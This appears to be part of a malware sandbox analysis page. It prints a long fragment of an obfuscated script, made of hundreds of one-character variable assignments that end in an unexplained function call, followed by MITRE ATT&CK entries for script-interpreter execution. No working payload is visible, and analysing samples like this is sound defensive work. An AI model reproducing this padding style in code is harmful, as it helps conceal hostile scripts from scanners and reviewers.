218	gdmijzk = "y";
219	gdmijzk = "H";
220	gdmijzk = "r";
221	gdmijzk = "T";
222	gdmijzk = "d";
223	gdmijzk = "z";
224	gdmijzk = "p";
225	gdmijzk = "x";
226	gdmijzk = "E";
227	gdmijzk = "L";
228	gdmijzk = "E";
229	gdmijzk = "f";
230	gdmijzk = "B";
231	gdmijzk = "i";
232	gdmijzk = "@";
233	maskdos = "j";
234	maskdos = "K";
235	maskdos = "M";
236	maskdos = "t";
237	maskdos = "w";
238	maskdos = "w";
239	maskdos = "f";
240	maskdos = "O";
241	maskdos = "u";
242	maskdos = "h";
243	maskdos = "A";
244	maskdos = "E";
245	maskdos = "W";
246	maskdos = "V";
247	maskdos = "S";
248	maskdos = "b";
249	maskdos = "H";
250	maskdos = "E";
251	maskdos = "d";
252	maskdos = "L";
253	maskdos = "X";
254	maskdos = "S";
255	maskdos = "e";
256	maskdos = "u";
257	maskdos = "f";
258	maskdos = " ";
259	thvrnp = "W";
260	thvrnp = "G";
261	thvrnp = "K";
262	thvrnp = "5";
263	vsvoe = "q";
264	vsvoe = "F";
265	vsvoe = "k";
266	vsvoe = "A";
267	vsvoe = "W";
268	vsvoe = "k";
269	vsvoe = "G";
270	vsvoe = "u";
271	vsvoe = "d";
272	vsvoe = "H";
273	vsvoe = "b";
274	vsvoe = "V";
275	vsvoe = "E";
276	vsvoe = "\"";
277	svpjdoio = "P";
278	svpjdoio = "z";
279	svpjdoio = "x";
280	svpjdoio = "t";
281	svpjdoio = "o";
282	svpjdoio = "O";
283	svpjdoio = "Y";
284	svpjdoio = "q";
285	svpjdoio = "W";
286	svpjdoio = "D";
287	svpjdoio = "k";
288	svpjdoio = "P";
289	svpjdoio = "K";
290	svpjdoio = "J";
291	svpjdoio = "k";
292	svpjdoio = "d";
293	svpjdoio = "i";
294	svpjdoio = "T";
295	svpjdoio = "D";
296	svpjdoio = "u";
297	svpjdoio = "u";
298	svpjdoio = "g";
299	svpjdoio = "h";
300	svpjdoio = "o";
301	svpjdoio = "C";
302	svpjdoio = "N";
303	svpjdoio = "s";
304	svpjdoio = "T";
305	svpjdoio = "e";
306	svpjdoio = "n";
307	batjckic = "i";
308	batjckic = "Z";
309	batjckic = "E";
310	batjckic = "E";
311	batjckic = "J";
312	batjckic = "q";
313	batjckic = "R";
314	batjckic = "Q";
315	batjckic = "A";
316	batjckic = "w";
317	gwqlckw = "c";
318	gwqlckw = "r";
319	gwqlckw = "z";
320	gwqlckw = "C";
321	gwqlckw = "p";
322	gwqlckw = "W";
323	gwqlckw = "n";
324	gwqlckw = "V";
325	gwqlckw = "y";
326	gwqlckw = "I";
327	gwqlckw = "u";
328	gwqlckw = "u";
329	gwqlckw = "i";
330	gwqlckw = "P";
331	gwqlckw = "o";
332	gwqlckw = "P";
333	gwqlckw = "F";
334	gwqlckw = "d";
335	jkxckkqgb = "G";
336	jkxckkqgb = "P";
337	jkxckkqgb = "w";
338	jkxckkqgb = "m";
339	jkxckkqgb = "T";
340	jkxckkqgb = "h";
341	jkxckkqgb = "K";
342	jkxckkqgb = "s";
343	jkxckkqgb = "w";
344	jkxckkqgb = "H";
345	rrzfhelw = "S";
346	rrzfhelw = "d";
347	rrzfhelw = "T";
348	rrzfhelw = "Q";
349	rrzfhelw = "N";
350	rrzfhelw = "D";
351	rrzfhelw = "j";
352	rrzfhelw = "k";
353	rrzfhelw = "d";
354	rrzfhelw = "T";
355	rrzfhelw = "a";
356	rrzfhelw = "o";
357	rrzfhelw = "a";
358	rrzfhelw = "x";
359	rrzfhelw = "l";
360	rrzfhelw = "I";
361	rrzfhelw = "C";
362	rrzfhelw = "G";
363	rrzfhelw = "A";
364	rrzfhelw = "z";
365	rrzfhelw = "E";
366	rrzfhelw = "z";
367	rrzfhelw = "b";
368	rrzfhelw = "j";
369	rrzfhelw = "g";
370	rrzfhelw = "d";
371	rrzfhelw = "X";
372	rrzfhelw = "g";
373	rrzfhelw = "h";
374	qeztq = "w";
375	qeztq = "l";
376	qeztq = "o";
377	qeztq = "K";
378	qeztq = "X";
379	qeztq = "o";
380	qeztq = "d";
381	qeztq = "d";
382	qeztq = "H";
383	qeztq = "M";
384	qeztq = "V";
385	qeztq = "d";
386	qeztq = "n";
387	qeztq = "s";
388	qeztq = "n";
389	qeztq = "A";
390	qeztq = "l";
391	qeztq = "B";
392	qeztq = "v";
393	qeztq = "C";
394	qeztq = "Z";
395	qeztq = "C";
396	qeztq = "h";
397	qeztq = "m";
398	qeztq = "L";
399	qeztq = "R";
400	qeztq = "d";
401	qeztq = "M";
402	qeztq = "v";
403	qeztq = "C";
404	qeztq = "p";
405	qeztq = "G";
406	qeztq = "b";
407	qeztq = "j";
408	lmlpjpqjd = "n";
409	lmlpjpqjd = "s";
410	lmlpjpqjd = "O";
411	lmlpjpqjd = "t";
412	lmlpjpqjd = "B";
413	lmlpjpqjd = "t";
414	lmlpjpqjd = "e";
415	lmlpjpqjd = "S";
416	lmlpjpqjd = "R";
417	lmlpjpqjd = "Z";
418	lmlpjpqjd = "k";
419	lmlpjpqjd = "R";
420	lmlpjpqjd = "q";
421	lmlpjpqjd = "L";
422	lmlpjpqjd = "B";
423	lmlpjpqjd = "a";
424	lmlpjpqjd = "K";
425	jkwybiqxb = "L";
426	jkwybiqxb = "R";
427	jkwybiqxb = "d";
428	jkwybiqxb = "b";
429	jkwybiqxb = "o";
430	jkwybiqxb = "q";
431	jkwybiqxb = "s";
432	zfrcglp = "k";
433	zfrcglp = "k";
434	zfrcglp = "o";
435	zfrcglp = "r";
436	zfrcglp = "O";
437	zfrcglp = "e";
438	zfrcglp = "b";
439	zfrcglp = "C";
440	zfrcglp = "A";
441	zfrcglp = "B";
442	zfrcglp = "c";
443	zfrcglp = "T";
444	zfrcglp = "T";
445	zfrcglp = "H";
446	zfrcglp = "a";
447	zfrcglp = "F";
448	zfrcglp = "S";
449	zfrcglp = "K";
450	zfrcglp = "F";
451	zfrcglp = "K";
452	zfrcglp = "t";
453	zfrcglp = "F";
454	tzmocwp = "N";
455	tzmocwp = "J";
456	tzmocwp = "R";
457	tzmocwp = "P";
458	tzmocwp = "Y";
459	tzmocwp = "b";
460	tzmocwp = "s";
461	tzmocwp = "p";
462	tzmocwp = "v";
463	tzmocwp = "b";
464	tzmocwp = "F";
465	tzmocwp = "T";
466	tzmocwp = "y";
467	tzmocwp = "U";
468	tzmocwp = "m";
469	tzmocwp = "Y";
470	tzmocwp = "Y";
471	tzmocwp = "U";
472	tzmocwp = "s";
473	tzmocwp = "r";
474	tzmocwp = "f";
475	tzmocwp = "K";
476	tzmocwp = "r";
477	tzmocwp = "F";
478	tzmocwp = "s";
479	tzmocwp = "W";
480	tzmocwp = "l";
481	tzmocwp = "H";
482	tzmocwp = "n";
483	tzmocwp = "U";
484	tzmocwp = "l";
485	tzmocwp = "S";
486	tzmocwp = "a";
487	tzmocwp = "t";
488	tzmocwp = "D";
489	tzmocwp = "C";
490	tzmocwp = "s";
491	tzmocwp = "d";
492	tzmocwp = "H";
493	tzmocwp = "J";
494	tzmocwp = "i";
495	tzmocwp = "N";
496	tzmocwp = "f";
497	tcnhezcm = "M";
498	tcnhezcm = "Q";
499	tcnhezcm = "U";
500	tcnhezcm = "B";
501	tcnhezcm = "O";
502	tcnhezcm = "U";
503	tcnhezcm = "y";
504	tcnhezcm = "B";
505	tcnhezcm = "B";
506	tcnhezcm = "t";
507	tcnhezcm = "u";
508	tcnhezcm = "z";
509	tcnhezcm = "S";
510	tcnhezcm = "i";
511	tcnhezcm = "D";
512	tcnhezcm = "a";
513	tcnhezcm = "U";
514	tcnhezcm = "V";
515	tcnhezcm = "Y";
516	tcnhezcm = "X";
517	tcnhezcm = "Q";
518	tcnhezcm = "k";
519	tcnhezcm = "g";
520	tcnhezcm = "C";
521	tcnhezcm = "G";
522	tcnhezcm = "K";
523	tcnhezcm = "Z";
524	tcnhezcm = "M";
525	tcnhezcm = "H";
526	tcnhezcm = "a";
527	umczczrr = "K";
528	umczczrr = "V";
529	umczczrr = "b";
530	umczczrr = "P";
531	umczczrr = "F";
532	umczczrr = "V";
533	umczczrr = "G";
534	umczczrr = "r";
535	umczczrr = "I";
536	umczczrr = "_";
537	ldfrzxsl = "L";
538	ldfrzxsl = "J";
539	ldfrzxsl = "D";
540	ldfrzxsl = "A";
541	ldfrzxsl = "i";
542	ldfrzxsl = "j";
543	ldfrzxsl = "d";
544	ldfrzxsl = "S";
545	ldfrzxsl = "V";
546	ldfrzxsl = "u";
547	ldfrzxsl = "x";
548	ldfrzxsl = "y";
549	ldfrzxsl = "M";
550	ldfrzxsl = "H";
551	ldfrzxsl = "v";
552	ldfrzxsl = "A";
553	ldfrzxsl = "c";
554	ldfrzxsl = "m";
555	ldfrzxsl = "S";
556	ldfrzxsl = "V";
557	ldfrzxsl = "f";
558	ldfrzxsl = "g";
559	ldfrzxsl = "M";
560	ldfrzxsl = "S";
561	ldfrzxsl = "k";
562	ldfrzxsl = "G";
563	ldfrzxsl = "F";
564	ldfrzxsl = "f";
565	ldfrzxsl = "m";
566	ldfrzxsl = "W";
567	ldfrzxsl = "Q";
568	ldfrzxsl = "y";
569	ldfrzxsl = "x";
570	cojrqnhj = "M";
571	cojrqnhj = "Z";
572	cojrqnhj = "u";
573	cojrqnhj = "i";
574	cojrqnhj = "o";
575	cojrqnhj = "s";
576	cojrqnhj = "s";
577	cojrqnhj = "K";
578	cojrqnhj = "O";
579	cojrqnhj = "l";
580	cojrqnhj = "u";
581	cojrqnhj = "N";
582	cojrqnhj = "K";
583	cojrqnhj = "t";
584	cojrqnhj = "A";
585	cojrqnhj = "u";
586	cojrqnhj = "K";
587	cojrqnhj = "j";
588	cojrqnhj = "Y";
589	cojrqnhj = "e";
590	cojrqnhj = "N";
591	cojrqnhj = "m";
592	cojrqnhj = "r";
593	cojrqnhj = "E";
594	cojrqnhj = "d";
595	cojrqnhj = "y";
596	cojrqnhj = "Q";
597	cojrqnhj = "R";
598	cojrqnhj = "N";
599	cojrqnhj = "A";
600	cojrqnhj = "m";
601	kinnytbn = "w";
602	kinnytbn = "m";
603	kinnytbn = "V";
604	kinnytbn = "V";
605	kinnytbn = "b";
606	kinnytbn = "E";
607	kinnytbn = "u";
608	kinnytbn = "n";
609	kinnytbn = "A";
610	kinnytbn = "O";
611	kinnytbn = "c";
612	kinnytbn = "s";
613	kinnytbn = "k";
614	kinnytbn = "t";
615	kinnytbn = "z";
616	kinnytbn = "L";
617	kinnytbn = "R";
618	kinnytbn = "D";
619	kinnytbn = "n";
620	kinnytbn = "w";
621	kinnytbn = "t";
622	kinnytbn = "V";
623	kinnytbn = "x";
624	kinnytbn = "S";
625	kinnytbn = "M";
626	kinnytbn = "J";
627	kinnytbn = "P";
628	kinnytbn = "I";
629	kinnytbn = "B";
630	kinnytbn = "a";
631	kinnytbn = "f";
632	kinnytbn = "d";
633	kinnytbn = "z";
634	kinnytbn = "R";
635	kinnytbn = "S";
636	kinnytbn = "D";
637	kinnytbn = "k";
638	kinnytbn = "6";
639	voysk = "R";
640	voysk = "D";
641	voysk = "Y";
642	voysk = "D";
643	voysk = "b";
644	voysk = "Y";
645	voysk = "v";
646	voysk = "R";
647	voysk = "w";
648	voysk = "h";
649	voysk = "d";
650	voysk = "r";
651	voysk = "p";
652	voysk = "B";
653	voysk = "J";
654	voysk = "y";
655	voysk = "y";
656	voysk = "c";
657	voysk = "e";
658	voysk = "T";
659	voysk = "Y";
660	voysk = "N";
661	voysk = "u";
662	voysk = "Q";
663	voysk = "F";
664	voysk = "w";
665	voysk = "q";
666	voysk = "R";
667	voysk = "f";
668	voysk = "N";
669	voysk = "A";
670	voysk = "F";
671	voysk = "R";
672	voysk = "D";
673	voysk = "l";
674	voysk = "o";
675	voysk = "F";
676	voysk = "j";
677	voysk = "r";
678	voysk = "S";
679	voysk = "8";
680	vgwurxs = "K";
681	vgwurxs = "Y";
682	vgwurxs = "Y";
683	vgwurxs = "V";
684	vgwurxs = "z";
685	vgwurxs = "d";
686	vgwurxs = "k";
687	vgwurxs = "i";
688	vgwurxs = "L";
689	vgwurxs = "c";
690	vgwurxs = "U";
691	vgwurxs = "B";
692	vgwurxs = "o";
693	vgwurxs = "N";
694	vgwurxs = "M";
695	vgwurxs = "c";
696	vgwurxs = "H";
697	vgwurxs = "t";
698	vgwurxs = "O";
699	vgwurxs = "K";
700	vgwurxs = "f";
701	vgwurxs = "T";
702	vgwurxs = "M";
703	vgwurxs = "g";
704	vgwurxs = "I";
705	vgwurxs = "a";
706	vgwurxs = "C";
707	vgwurxs = "l";
708	vgwurxs = "y";
709	vgwurxs = "V";
710	vgwurxs = "c";
711	vgwurxs = "t";
712	vgwurxs = "m";
713	vgwurxs = "V";
714	vgwurxs = "b";
715	vgwurxs = "O";
716	vgwurxs = "S";
717	vgwurxs = "Z";
718	vgwurxs = "v";
719	vgwurxs = "Q";
720	vgwurxs = "j";
721	vgwurxs = "X";
722	vgwurxs = "L";
723	jwtxgo = "O";
724	jwtxgo = "u";
725	jwtxgo = "L";
726	jwtxgo = "Y";
727	jwtxgo = "G";
728	jwtxgo = "O";
729	jwtxgo = "r";
730	jwtxgo = "p";
731	jwtxgo = "M";
732	jwtxgo = "r";
733	jwtxgo = "w";
734	jwtxgo = "P";
735	jwtxgo = "z";
736	jwtxgo = "N";
737	jwtxgo = "X";
738	jwtxgo = "n";
739	jwtxgo = "p";
740	jwtxgo = "z";
741	jwtxgo = "u";
742	jwtxgo = "N";
743	jwtxgo = "X";
744	jwtxgo = "u";
745	jwtxgo = "k";
746	jwtxgo = "h";
747	jwtxgo = "V";
748	jwtxgo = "v";
749	jwtxgo = "g";
750	jwtxgo = "O";
751	jwtxgo = "n";
752	jwtxgo = "b";
753	jwtxgo = "u";
754	jwtxgo = "H";
755	jwtxgo = "W";
756	jwtxgo = "W";
757	jwtxgo = "T";
758	jwtxgo = "a";
759	jwtxgo = "t";
760	jwtxgo = "c";
761	jwtxgo = "B";
762	jwtxgo = "W";
763	jwtxgo = "J";
764	jwtxgo = "f";
765	jwtxgo = "P";
766	xmrysfqr = "F";
767	xmrysfqr = "S";
768	xmrysfqr = "t";
769	xmrysfqr = "z";
770	xmrysfqr = "o";
771	fqjqp = "F";
772	fqjqp = "q";
773	fqjqp = "g";
774	fqjqp = "d";
775	fqjqp = "l";
776	fqjqp = "c";
777	fqjqp = "m";
778	fqjqp = "I";
779	fqjqp = "E";
780	fqjqp = "n";
781	fqjqp = "x";
782	fqjqp = "x";
783	fqjqp = "Q";
784	fqjqp = "t";
785	fqjqp = ".";
786	fusujs = "p";
787	fusujs = "L";
788	fusujs = "z";
789	fusujs = "Z";
790	fusujs = "M";
791	fusujs = "P";
792	fusujs = "D";
793	fusujs = "n";
794	fusujs = "X";
795	fusujs = "v";
796	fusujs = "x";
797	fusujs = "c";
798	fusujs = "i";
799	fusujs = "K";
800	fusujs = "R";
801	fusujs = "A";
802	fusujs = "W";
803	fusujs = "y";
804	fusujs = "q";
805	fusujs = "i";
806	fusujs = "M";
807	fusujs = "c";
808	fusujs = "U";
809	spjoag = "X";
810	spjoag = "A";
811	spjoag = "c";
812	spjoag = "V";
813	spjoag = "j";
814	spjoag = "c";
815	spjoag = "V";
816	spjoag = "S";
817	spjoag = "B";
818	spjoag = "i";
819	ogdbbh = "q";
820	ogdbbh = "S";
821	ogdbbh = "y";
822	ogdbbh = "d";
823	ogdbbh = "J";
824	ogdbbh = "d";
825	ogdbbh = "o";
826	ogdbbh = "T";
827	ogdbbh = "Z";
828	ogdbbh = "u";
829	ogdbbh = "/";
830	gqisaf = "F";
831	gqisaf = "x";
832	gqisaf = "P";
833	gqisaf = "g";
834	gqisaf = "j";
835	gqisaf = "U";
836	gqisaf = "p";
837	gqisaf = "E";
838	gqisaf = "h";
839	gqisaf = "g";
840	gqisaf = "D";
841	gqisaf = "C";
842	gqisaf = "I";
843	gqisaf = "m";
844	gqisaf = "j";
845	gqisaf = "v";
846	gqisaf = "f";
847	gqisaf = "J";
848	gqisaf = "R";
849	gqisaf = "%";
850	rrqvjjspe = "N";
851	mdapeo = "E";
852	mdapeo = "m";
853	mdapeo = "M";
854	mdapeo = "F";
855	mdapeo = "n";
856	mdapeo = "n";
857	mdapeo = "X";
858	mdapeo = "Q";
859	mdapeo = "V";
860	mdapeo = "E";
861	mdapeo = "N";
862	mdapeo = "E";
863	mdapeo = "E";
864	mdapeo = "G";
865	mdapeo = "B";
866	mdapeo = "B";
867	mdapeo = "H";
868	mdapeo = "L";
869	mdapeo = "S";
870	mdapeo = "F";
871	mdapeo = "b";
872	mdapeo = "n";
873	mdapeo = "G";
874	mdapeo = "R";
875	mdapeo = "c";
876	mdapeo = "N";
877	mdapeo = "L";
878	mdapeo = "O";
879	mdapeo = "U";
880	mdapeo = "M";
881	mdapeo = "v";
882	mdapeo = "V";
883	mdapeo = "T";
884	posdo = "v";
885	posdo = "p";
886	posdo = "Q";
887	posdo = "H";
888	posdo = "e";
889	posdo = "p";
890	posdo = "X";
891	posdo = "w";
892	posdo = "T";
893	posdo = "t";
894	posdo = "S";
895	posdo = "b";
896	posdo = "n";
897	posdo = "s";
898	posdo = "i";
899	posdo = "D";
900	posdo = "X";
901	posdo = "H";
902	posdo = "H";
903	posdo = "K";
904	posdo = "b";
905	posdo = "o";
906	posdo = "P";
907	posdo = "U";
908	posdo = "R";
909	posdo = "N";
910	posdo = "q";
911	posdo = "L";
912	posdo = "D";
913	posdo = "m";
914	posdo = "g";
915	posdo = "k";
916	posdo = "c";
917	posdo = "X";
918	posdo = "R";
919	cwdnfz = "s";
920	cwdnfz = "Q";
921	cwdnfz = "z";
922	cwdnfz = "o";
923	cwdnfz = "z";
924	cwdnfz = "j";
925	cwdnfz = "Y";
926	cwdnfz = "L";
927	cwdnfz = "J";
928	cwdnfz = "J";
929	cwdnfz = "n";
930	cwdnfz = "g";
931	cwdnfz = "I";
932	cwdnfz = "a";
933	cwdnfz = "y";
934	cwdnfz = "t";
935	cwdnfz = "u";
936	cwdnfz = "b";
937	cwdnfz = "i";
938	cwdnfz = "i";
939	cwdnfz = "p";
940	cwdnfz = "t";
941	cwdnfz = "k";
942	cwdnfz = "K";
943	cwdnfz = "f";
944	cwdnfz = "I";
945	cwdnfz = "j";
946	cwdnfz = "l";
947	cwdnfz = "q";
948	cwdnfz = "J";
949	cwdnfz = "s";
950	cwdnfz = "A";
951	cwdnfz = "T";
952	cwdnfz = "a";
953	cwdnfz = "g";
954	cwdnfz = "h";
955	cwdnfz = "d";
956	cwdnfz = "f";
957	cwdnfz = "1";
958	zplwsmrx = "u";
959	zplwsmrx = "O";
960	zplwsmrx = "g";
961	dcveid = "B";
962	dcveid = "p";
963	dcveid = "I";
964	dcveid = "X";
965	dcveid = "I";
966	dcveid = "f";
967	dcveid = "i";
968	dcveid = "u";
969	dcveid = "a";
970	dcveid = "t";
971	dcveid = "Q";
972	dcveid = "x";
973	dcveid = "F";
974	dcveid = "K";
975	dcveid = "S";
976	dcveid = "z";
977	dcveid = "u";
978	dcveid = "R";
979	dcveid = "u";
980	dcveid = "n";
981	dcveid = "W";
982	mpvrhit = "F";
983	mpvrhit = "w";
984	mpvrhit = "V";
985	mpvrhit = "k";
986	mpvrhit = "l";
987	mpvrhit = "P";
988	mpvrhit = "m";
989	mpvrhit = "j";
990	mpvrhit = "W";
991	mpvrhit = "u";
992	mpvrhit = "q";
993	mpvrhit = "M";
994	mpvrhit = "V";
995	mpvrhit = "x";
996	mpvrhit = "T";
997	mpvrhit = "h";
998	mpvrhit = "j";
999	mpvrhit = "y";
1000	mpvrhit = "F";
1001	mpvrhit = "D";
1002	mpvrhit = "q";
1003	mpvrhit = "o";
1004	mpvrhit = "l";
1005	mpvrhit = "H";
1006	mpvrhit = "m";
1007	mpvrhit = "B";
1008	mpvrhit = "-";
1009	xbbhbdg = "J";
1010	xbbhbdg = "T";
1011	xbbhbdg = "e";
1012	xbbhbdg = "q";
1013	illbmvn = "X";
1014	illbmvn = "f";
1015	illbmvn = "n";
1016	illbmvn = "X";
1017	illbmvn = "i";
1018	illbmvn = "N";
1019	illbmvn = "L";
1020	illbmvn = "u";
1021	emoqqifl = "z";
1022	emoqqifl = "i";
1023	emoqqifl = "V";
1024	emoqqifl = "Z";
1025	emoqqifl = "I";
1026	qkrogh = "g";
1027	qkrogh = "t";
1028	qkrogh = "W";
1029	qkrogh = "I";
1030	qkrogh = "u";
1031	qkrogh = "J";
1032	qkrogh = "j";
1033	qkrogh = "o";
1034	qkrogh = "s";
1035	qkrogh = "s";
1036	qkrogh = "F";
1037	qkrogh = "U";
1038	qkrogh = "s";
1039	qkrogh = "b";
1040	qkrogh = "X";
1041	qkrogh = "j";
1042	qkrogh = "j";
1043	qkrogh = "C";
1044	qkrogh = "P";
1045	qkrogh = "z";
1046	qkrogh = "w";
1047	qkrogh = "U";
1048	qkrogh = "O";
1049	qkrogh = "c";
1050	qkrogh = "U";
1051	qkrogh = "g";
1052	qkrogh = "W";
1053	qkrogh = "D";
1054	qkrogh = "b";
1055	qkrogh = "m";
1056	qkrogh = "i";
1057	qkrogh = "Q";
1058	bpvuzik = "B";
1059	bpvuzik = "M";
1060	bpvuzik = "Q";
1061	bpvuzik = "d";
1062	bpvuzik = "T";
1063	bpvuzik = "Q";
1064	bpvuzik = "F";
1065	bpvuzik = "R";
1066	bpvuzik = "x";
1067	bpvuzik = "W";
1068	bpvuzik = "I";
1069	bpvuzik = "W";
1070	bpvuzik = "I";
1071	bpvuzik = "n";
1072	bpvuzik = "V";
1073	bpvuzik = "b";
1074	hagbzyxzt = "T";
1075	hagbzyxzt = "j";
1076	hagbzyxzt = "f";
1077	hagbzyxzt = "G";
1078	hagbzyxzt = "4";
1079	glsdtxui = "R";
1080	glsdtxui = "F";
1081	glsdtxui = "f";
1082	glsdtxui = "N";
1083	glsdtxui = "Y";
1084	glsdtxui = "o";
1085	glsdtxui = "s";
1086	glsdtxui = "w";
1087	glsdtxui = "b";
1088	glsdtxui = "W";
1089	glsdtxui = "E";
1090	igwvi = "y";
1091	igwvi = "B";
1092	igwvi = "o";
1093	igwvi = "M";
1094	igwvi = "k";
1095	igwvi = "Y";
1096	igwvi = "k";
1097	igwvi = "M";
1098	igwvi = "C";
1099	igwvi = "p";
1100	igwvi = "w";
1101	igwvi = "O";
1102	igwvi = "W";
1103	igwvi = "d";
1104	igwvi = "y";
1105	igwvi = "p";
1106	igwvi = "O";
1107	jvjtcvsqt = "W";
1108	jvjtcvsqt = "S";
1109	jvjtcvsqt = "p";
1110	jvjtcvsqt = "a";
1111	jvjtcvsqt = "g";
1112	jvjtcvsqt = "f";
1113	jvjtcvsqt = "e";
1114	jvjtcvsqt = "e";
1115	jvjtcvsqt = "z";
1116	jvjtcvsqt = "V";
1117	jvjtcvsqt = "u";
1118	jvjtcvsqt = "V";
1119	jvjtcvsqt = "F";
1120	jvjtcvsqt = "p";
1121	jvjtcvsqt = "A";
1122	jvjtcvsqt = "C";
1123	jvjtcvsqt = "I";
1124	jvjtcvsqt = "s";
1125	jvjtcvsqt = "a";
1126	jvjtcvsqt = "I";
1127	jvjtcvsqt = "q";
1128	jvjtcvsqt = "v";
1129	jvjtcvsqt = "K";
1130	jvjtcvsqt = "m";
1131	jvjtcvsqt = "H";
1132	jvjtcvsqt = "X";
1133	jvjtcvsqt = "C";
1134	jvjtcvsqt = "a";
1135	jvjtcvsqt = "j";
1136	jvjtcvsqt = "Y";
1137	jvjtcvsqt = "e";
1138	flufqjghy = "n";
1139	flufqjghy = "F";
1140	flufqjghy = "J";
1141	flufqjghy = "M";
1142	flufqjghy = "G";
1143	flufqjghy = "P";
1144	flufqjghy = "L";
1145	flufqjghy = "g";
1146	flufqjghy = "e";
1147	flufqjghy = "Q";
1148	flufqjghy = "N";
1149	flufqjghy = "y";
1150	flufqjghy = "e";
1151	flufqjghy = "R";
1152	flufqjghy = "S";
1153	flufqjghy = "f";
1154	flufqjghy = "B";
1155	flufqjghy = "P";
1156	flufqjghy = "y";
1157	flufqjghy = "P";
1158	flufqjghy = "E";
1159	flufqjghy = "h";
1160	flufqjghy = "H";
1161	flufqjghy = "t";
1162	flufqjghy = "n";
1163	flufqjghy = "m";
1164	flufqjghy = "S";
1165	flufqjghy = "n";
1166	flufqjghy = "Z";
1167	flufqjghy = "j";
1168	flufqjghy = "Q";
1169	flufqjghy = "a";
1170	flufqjghy = "C";
1171	flufqjghy = "b";
1172	flufqjghy = "t";
1173	flufqjghy = "W";
1174	flufqjghy = "p";
1175	flufqjghy = "J";
1176	flufqjghy = "Q";
1177	flufqjghy = "v";
1178	flufqjghy = "r";
1179	flufqjghy = "X";
1180	flufqjghy = "0";
1181	nsxahynzj = "u";
1182	nsxahynzj = "X";
1183	nsxahynzj = "N";
1184	nsxahynzj = "P";
1185	nsxahynzj = "B";
1186	nsxahynzj = "J";
1187	nsxahynzj = "S";
1188	nsxahynzj = "s";
1189	nsxahynzj = "U";
1190	nsxahynzj = "R";
1191	nsxahynzj = "A";
1192	nsxahynzj = "n";
1193	nsxahynzj = "J";
1194	nsxahynzj = "f";
1195	nsxahynzj = "g";
1196	nsxahynzj = "L";
1197	nsxahynzj = "F";
1198	nsxahynzj = "y";
1199	nsxahynzj = "o";
1200	nsxahynzj = "Y";
1201	nsxahynzj = "D";
1202	nsxahynzj = "M";
1203	nsxahynzj = "O";
1204	nsxahynzj = "n";
1205	nsxahynzj = "F";
1206	nsxahynzj = "X";
1207	nsxahynzj = "c";
1208	nsxahynzj = "y";
1209	nsxahynzj = "e";
1210	nsxahynzj = "B";
1211	nsxahynzj = "M";
1212	nsxahynzj = "l";
1213	adzowc = "y";
1214	adzowc = "x";
1215	adzowc = "V";
1216	adzowc = "J";
1217	adzowc = "b";
1218	adzowc = "y";
1219	adzowc = "T";
1220	adzowc = "j";
1221	adzowc = "y";
1222	adzowc = "g";
1223	adzowc = "&";
1224	insnp = "U";
1225	insnp = "T";
1226	insnp = "k";
1227	insnp = "m";
1228	insnp = "D";
1229	insnp = "S";
1230	insnp = "p";
1231	insnp = "o";
1232	insnp = "G";
1233	insnp = "V";
1234	insnp = "S";
1235	insnp = "P";
1236	insnp = "h";
1237	insnp = "m";
1238	insnp = "E";
1239	insnp = "e";
1240	insnp = "F";
1241	insnp = "2";
1242	nyndctnk = "s";
1243	nyndctnk = "x";
1244	nyndctnk = "u";
1245	nyndctnk = "V";
1246	nyndctnk = "U";
1247	nyndctnk = "p";
1248	nyndctnk = "C";
1249	nyndctnk = "t";
1250	nyndctnk = "e";
1251	nyndctnk = "y";
1252	nyndctnk = "O";
1253	nyndctnk = "W";
1254	nyndctnk = "N";
1255	nyndctnk = "r";
1256	nyndctnk = "z";
1257	nyndctnk = "T";
1258	nyndctnk = "b";
1259	nyndctnk = "o";
1260	nyndctnk = "T";
1261	nyndctnk = "U";
1262	nyndctnk = "L";
1263	nyndctnk = "N";
1264	nyndctnk = "u";
1265	nyndctnk = "E";
1266	nyndctnk = "Q";
1267	nyndctnk = "N";
1268	nyndctnk = "K";
1269	nyndctnk = "M";
1270	nyndctnk = "z";
1271	nyndctnk = "r";
1272	nyndctnk = "K";
1273	nyndctnk = "R";
1274	nyndctnk = "c";
1275	nyndctnk = "I";
1276	nyndctnk = "c";
1277	nyndctnk = "i";
1278	nyndctnk = "d";
1279	nyndctnk = "Z";
1280	nyndctnk = "\\";
1281	werpowtx = "v";
1282	werpowtx = "u";
1283	werpowtx = "x";
1284	werpowtx = "A";
1285	werpowtx = "Y";
1286	werpowtx = "z";
1287	werpowtx = "A";
1288	werpowtx = "T";
1289	werpowtx = "m";
1290	werpowtx = "s";
1291	werpowtx = "r";
1292	werpowtx = "U";
1293	werpowtx = "t";
1294	werpowtx = "x";
1295	werpowtx = "W";
1296	werpowtx = "q";
1297	werpowtx = "x";
1298	werpowtx = "t";
1299	werpowtx = "E";
1300	werpowtx = "p";
1301	werpowtx = "g";
1302	werpowtx = "R";
1303	werpowtx = "u";
1304	werpowtx = "I";
1305	werpowtx = "P";
1306	werpowtx = "p";
1307	werpowtx = "h";
1308	werpowtx = "M";
1309	werpowtx = "c";
1310	werpowtx = "d";
1311	werpowtx = "D";
1312	werpowtx = "o";
1313	werpowtx = "D";
1314	werpowtx = "A";
1315	werpowtx = "B";
1316	werpowtx = "C";
1317	ljbtmgg = "c";
1318	ljbtmgg = "Y";
1319	ljbtmgg = "l";
1320	ljbtmgg = "u";
1321	ljbtmgg = "t";
1322	ljbtmgg = "K";
1323	ljbtmgg = "D";
1324	ljbtmgg = "y";
1325	ljbtmgg = "G";
1326	ljbtmgg = "y";
1327	ljbtmgg = "w";
1328	ljbtmgg = "e";
1329	ljbtmgg = "R";
1330	ljbtmgg = "j";
1331	ljbtmgg = "v";
1332	oooftfv ( );	oooftfv() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

